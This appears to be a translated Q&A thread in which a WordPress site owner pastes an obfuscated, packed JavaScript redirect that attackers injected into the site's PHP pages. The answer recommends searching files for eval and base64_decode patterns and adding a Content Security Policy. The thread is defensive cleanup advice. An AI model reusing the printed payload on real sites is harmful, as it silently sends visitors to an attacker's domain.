Javascript Wordpress 上的注入预防

Javascript Injection prevention on Wordpress

我在 wordpress 上的博客被注入了以下恶意脚本:

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p;}('3.5.4="6://%1%0%0%9%2%8%7%1%2/";',10,10,'78|6F|6D|window|href|location|http|63|2E|74'.split('|'),0,{}))

它导航到:

我已经禁用了一些插件,但似乎问题出在其他地方,因为我正在使用以下插件并且它们似乎有很好的声誉:

如果我找不到根本原因,您是否建议处理 "redirect" 事件以保留站点 运行?如果是这样,如果有指向 http://oxxtm.com/ 的重定向并使用 javascript?

中止它,我该如何处理

我尝试使用 onunloadonbeforeunload 事件,但似乎注入的 eval 在事件操作被注册之前运行。

我可以看到它被注入到 wordpress 中不同的 PHP 页面(有时只有一个页面,有时更多),我不知道是否有一个通用的 PHP 文件,我可以在其中包含一个脚本来阻止此恶意脚本的操作。

我已经多次删除了恶意脚本,但它一次又一次地被注入。我需要在寻找原因的同时治疗症状,否则该站点将停止服务。但是,我一开始不明白脚本是如何注入的。

在您的所有文件中搜索以下内容:eval(function()

它将显示包含此代码的每个文件。

否则,尝试搜索此:base64_decode

这是一个允许解码 base64 编码文本的函数,恶意 PHP 文件经常使用它来注入一些您无法通过搜索检测到的代码 eval(

如果问题仍然存在,请在此处回答,我会尽力帮助您。

此外,作为保护您的客户端免受类似 XSS 攻击的附加功能,我建议您在清除后端注入后使用 CSP。您可以阅读有关它的更多信息:https://developer.mozilla.org/en/docs/Web/Security/CSP 这不是灵丹妙药,但很高兴拥有它来保护用户。